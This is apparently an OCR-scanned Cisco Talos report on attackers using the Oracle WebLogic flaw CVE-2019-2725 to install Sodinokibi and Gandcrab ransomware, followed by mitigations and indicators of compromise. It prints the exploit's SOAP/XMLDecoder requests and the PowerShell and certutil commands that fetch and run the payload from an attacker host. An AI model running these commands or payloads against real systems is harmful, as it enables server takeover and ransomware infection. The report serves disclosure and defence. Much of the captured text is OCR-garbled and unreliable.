Sodinokibi ransomware exploits WebLogic Server
vulnerability
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Attackers are actively exploiting a recently disclosed vulnerability in Oracle WebLogic to
install a new variant of ransomware called "Sodinokibi." Sodinokibi attempts to encrypt data
in a user's directory and delete shadow copy backups to make data recovery more difficult.
Oracle first patched the issue on April 26, outside of their normal patch cycle, and assigned it
CVE-2019-2725. This vulnerability is easy for attackers to exploit, as anyone with HTTP
access to the WebLogic server could carry out an attack. Because of this, the bug has a
CVSS score of 9.8/10. Attackers have been making use of this exploit in the wild since at
least April 17. Cisco's Incident Response (IR)_team, along with Cisco Talos, are actively
investigating these attacks and Sodinokibi.
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Initial stages of the ransomware attack occurred on April 25, the day before Oracle released
their update. This was a trial to see whether the server was exploitable.
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POST /_asyno/AsyncResponseService HTTPS1.1

HoEL:

Connection: close

Accepl-Encoding: geip, dellate

Accept: cext/himl, application/whtmlexnl, application/xml;q=8.9, */";g=0.8
User-Agent: Morilla/%.8 (Windows NT 16.8; Winbd4; x&4; rv:55.8) Geckos29180181 Firefox/55.8
Accepl-Language: zh-CN, zh q=0.8, en-US;q=0.5, en;q=0.3

cache-control: no-cache

Cookie: sidebar collapsed=false

X-Formarded-For:

Upgrade- Insecure-Requests: 1

Content-Type: Lext xml

Content-Length: 1832

WL-PFroxy-Clienl-IF: 208,508,176, 183

<soapeny:Envelope mmlns:soapenv="http://schenas.mlsoap.org/soapfenvelopes/" xplns:wsa="http:/ wew . Wi orgd2ea5 08 addressing™
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owsnACt IonsNEs/wea tACtionsowsa RelatesTosxa wsa RelatesTos<wor b WorkContext xmlns iwork="http:s/bea. condH804.86/ soap/wWorkareas "s><java
wersien="1.4.8" class="java.beans . BMLDecoder™>
awadd class="java.lang, ProcessBiel lder "
<array class="java.lang.String” length="3">
ovpid index="0">
<string=cmd. exe</string>
=ivaid>
cwpld index="1">
=string=sc<fstring=
<ivald=
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string>net time Sdomain >
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<SATF Ay
<wopdd method="start™/ =< woids=
| = javas
LSO T RCn T[S S0aApEnY | HEade r-csaapeny | Body=<asy : enaAsynche Livery/ =</ soapeny : Body=</soapeny EnvelopesHTTR/1,.1 202 Accepred
Connection: close
Date: Thi, 25 Apr 260% 18:45:02 GMT
Content-Length: 8
E-Powered-By: Servlet/2.5 JSPSZ.1

Packer S50, 4 cliend phix, 3 senver pics, 2 hums Click fo st

Entire conversation (1,719 bytes) w Show and save data &z ASCI « Stream 53
Find Find Mext
Help Filber Cust This Stream Print Save as Bk Llase

April 25, 2019 activity showing the initial activity preceding the ransomware deployment.

On April 26, 2019, the attackers made an HTTP connection to a different vulnerable server,
requesting the AsyncResponderService of the Oracle WebLogic Server.
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POST /_asyne/ReyncilesponseSeryioe HTTR/1.1
Host:

Connection: keep-alive
Accept-Encoding: gzip, deflate

ACERRT: #/w

User-Agent: Mozrillas5.8 (Macintosh; Intel Mac 05 X 19 _12_G) Applessbkit 337,36 (KHTHL, like Geckol Ohroee/62,8,3239.84 Satarid 537,36
ConTent-Typs: t/xml; charsei=UTF=A

Content-Length: 1139
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o Ui
<ypid index="Z">
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tEnwelopesHTTP/1.1 282 Accepted
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Content=-Length: @
i-Powered-fy: Serdet 2,5 JEP/2,1

Activity from April 26. The attackers are downloading the Sodinokibi ransomware.

Historically, most varieties of ransomware have required some form of user interaction, such
as a user opening an attachment to an email message, clicking on a malicious link, or
running a piece of malware on the device. In this case, the attackers simply leveraged the
Oracle WebLogic vulnerability, causing the affected server to download a copy of the
ransomware from attacker-controlled IP addresses 188.166.74[.]218 and 45.55.211[.]79. The
188.166.74[.]218 IP address is also home to a pair of other malicious domains unrelated to
this ransomware attack: arg0s-co[.Juk, which is likely a phishing domain, and
projectstore[.Jguru, a domain with bogus PDF-related Google search results. The other IP,
45.55.211[.]79, hosts a pair of legitimate Chilean domains, and appears to have been
infected and repurposed by the attackers. The attackers were ultimately successful at
encrypting a number of systems during this incident.

Cisco IR Services and Talos observed the attack requests originating from 130.61.54[.]136.
The HTTP POST request contained arguments to a cmd.exe instruction — a PowerShell
command to download a file called "radm.exe" from host 188.166.74[.]218, then save that file
locally and execute it.

cmd /c powershell.exe wget http[:]//188.166.74[.]218/radm.exe -outfile
%TEMP%/radm.exe&cmd.exe /c %TEMP%\\radm.exe
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In addition to PowerShell, we also observed the attackers creatively passing the certutil utility

to cmd to download a file:

cmd /c cmd.exe /c certutil.exe -urlcache -split -f http[:]//188.166.74[.]218/radm.exe

%TEMP%/radm.exe&cmd.exe /c %TEMP%\\radm.exe

Besides "radm.exe," researchers observed multiple file names in the PowerShell and certutil

commands, including:

hxxp[:]/188.166.74[.]218/office.exe
hxxp[:]//188.166.74[.]218/radm.exe
hxxp[:]//188.166.74[.]218/untitled.exe
hxxp[:]//45.55.211[.]79/.cache/untitled.exe

Once detonated in Threat Grid, the sandbox identified this sample as potential
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ransomware.

The website VirusTotal successfully detected the same binary hash on 43 out of 71 different

engines.

Below, we can see the malicious file "untitled.exe" using "cmd.exe" to execute the
vssadmin.exe utility. This action is a common tactic of ransomware to prevent users from
easily recovering their data. It attempts to delete default Windows backup mechanisms,
otherwise known as "shadow copies," to prevent recovery of the original files from these

backups.
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The ransom note, in this case, directs victims to either a .onion website on the Tor network or
on the public web at the domain decryptor|.]top, registered on March 31 this year. With
Sodinokibi, each encrypted system sees a distinct encrypted file extension. The ransom note
filename also includes this extension as a prefix (ex. 88f2947s-HOW-TO-DECRYPT.ixt).
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Hello dear friend!

Your files are encrypted, and, as result you can't use it. You must visit our page to get
instructions about decryption process.
ALl encrypted files have got BEBf2947s extension.

Instructions into the TOR network
Install TOR browser from https://torproject.org/

Visit the following link:
http://faplebzudTwgazapdgksbvrcvbzonjppkbxbréwketf56nféag2nmyoyd.onion/4013C4FS98BEBEIC

Instructions into WWW (The follewing link can not be in work state, if true, use TOR above):

Visit the following link: http://decryptor.top/4813C4F998BGBEIC

Page will ask you for the key, here it is:
wDpD5d0EdDOS5311C45 ] DHSYY9g TEYUKGmuU ] 81500y T 5ehkRPxphia LG wXkw'f5E
z2z1X35912dwlO0gQD78gXmF T 16BM] sqGI07BEXVLKp7O0bDXCCI7587LS8Da3PgLWu
eilDlgdvIJ@a2bAnIqSayLUSHwLHWIRSI0grE@3BKDTXKTCEI0OWUT FF3+hB1yGRHK
WwIXSiNG4320zZEL/3ghtneSspubhFyzLm+4TY eMEtXZVS3sBj 92 28vpEBRrI/ phsdy
NjFESKB1IdviGYtTAuITBXA/ pB+LCyllDTngeFg9ilviSwiima imXL+1vvmSdzNZcE
CTsVTjFNWgYGngEIxyemXra? iaEzZ1000IK1xALhKIZuiGB144MOvcEhBTLgTY 41
zXym2winiVUVkeC2HFks LkTsMHXT roclL 5421/ L TvoyrJqCalV/svH9s6TIeAuddo
xbfQTN+RLOOoWINOU+giuiNSohOYuz3CazCj jo3vVICrFOB16dD52x52 1 K6gq4ndgr
2qBgjdeRrkASuiDctpGZnR1fqBVTzcg55sbakbsd+zapvigSTlgPplZQVZtsZwEM
1Tpel3b+rTTRIIAY ZKYVIKkrubZc9QkonYov /uAUKobF L80gHImLB1BSLr@T LX+mr
BFHVgnTBcfvED1e9Z35F5t 1BBkMOysYD1i3dU7bxlevbhhYAt9dKE@P11PhsAMydLm
HUxRw] /ntlUel1lEtocFKRULPTR1srB2omd2hwFTpBfEVUAC jaZ to3Md 1bZVACLZaS
KBScaaMDcUDNpx33 V56 ICxqpTHS ] IM3T T LpDIWgYhrxfTExQd+dATPC/ zADWETL
PILVpDUWCt L/ LZg1i0+e535Y L/ zn 752 SHMORXYENW,/ YNDSvt2 iwqocPglONJultn
rAWNSNRXT/ jvtoiWsrtSgyyqThFMOBEI6TAUIh3I3R3LbNOpOgnTdBs338211A0IN
tC4TAubYn@0LPUFTCQ1DI EoHQapGiNpullI4bhFy@VPeF(ihGBGND1KoSThbIEh jH
rxII9snbRasl/faWlZabXfItdwW2UhTPSIriQdIIQuaFWZenjd] incETsI1IwTx3]
klIsbrDoQ@@eCL?dmoSNWobnZtat4@)yYxUkBDudtdviWwvRYZAEmK3hgHtExXWY(QYdz
7 iDGhMyWEBNmMI 0/ 2qyyqBXTEMUEQgbLxFvyQthNIDMy THO==

The Gandcrab affiliate connection

After finishing deploying Sodinokibi ransomware inside the victim's network, the attackers
followed up with an additional CVE-2019-2725 exploit attempt approximately eight hours
later. However, this time, the attackers chose to distribute Gandcrab v5.2. We find it strange
the attackers would choose to distribute additional, different ransomware on the same target.
Sodinokibi being a new flavor of ransomware, perhaps the attackers felt their earlier attempts
had been unsuccessful and were still looking to cash in by distributing Gandcrab.

Conclusion
This attack is notable because of the attackers' use of a zero-day exploit to distribute
ransomware. Whereas previously we have withessed ransomware attackers taking

advantage of unpatched systems to install and laterally propagate ransomware, this zero-day
exploitation method could work on otherwise fully-patched systems.
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The victims in this ransomware attack were able to activate their Incident Response Retainer
with Cisco IR Services, and they received immediate support and advice on managing the
incident. Immediate actions taken likely prevented a more significant outage.

Due to the ubiquity of Oracle WebLogic servers and the ease of exploitation of this
vulnerability, Talos expects widespread attacks involving CVE-2019-2725, and we
recommend the following actions. Any number of layered controls could prevent or otherwise
deter this type of attack, including:

o Patch WebLogic as soon as possible against CVE-2019-2725.

¢ Log and centrally collect web, application, and operating systems events.
» Restrict the access of the account used to run the WebLogic process

» Monitor for signs of compromise:

Egress network communications from data center systems.
Ransomware "Canary" files.

External HTTP POSTs to new URIs.

Web shells.

Unexpected activity of service/system accounts (WebLogic user).

e Scan for, understand, and mitigate your vulnerability posture.

o Restrict egress Data Center communications.

o Segment the network for defense and monitoring.

e Control URL access (in this case external access to "/_async/*" and "/wls-wsat/*").

» Plan for Disaster Recovery, including maintaining and testing data backups and
recovery.

o Configure PowerShell to execute only signed scripts.

Indicators of Compromise (loC)

Ransomware samples:
0fa207940ea53e2b54a2b769d8ab033a6b2c5e08c78bf4d7dade79849960b54d
34dffdb04ca07b014cdaee857690f86e490050335291¢ccc84c94994fa91e0160
74bc2f9a81ad2cc609b7730dbabb146506f58244e5e655¢cbb42044913384a6ac
95ac3903127b74f8e4d73d987f5e3736f5bdd909ba756260e187b6bf53fb1a05
fa2bccdb9db2583c2f9ff6a536e824f4311c9a8a9842505a0323f027b8b51451

Distribution URLs:
hxxp://188.166.74[.]218/office.exe
hxxp://188.166.74[.]218/radm.exe
hxxp://188.166.74[.]218/untitled.exe
hxxp://45.55.211[.]79/.cache/untitled.exe

8/9



Attacker IP:
130.61.54[.]136

Attacker Domain:
decryptor|.]top
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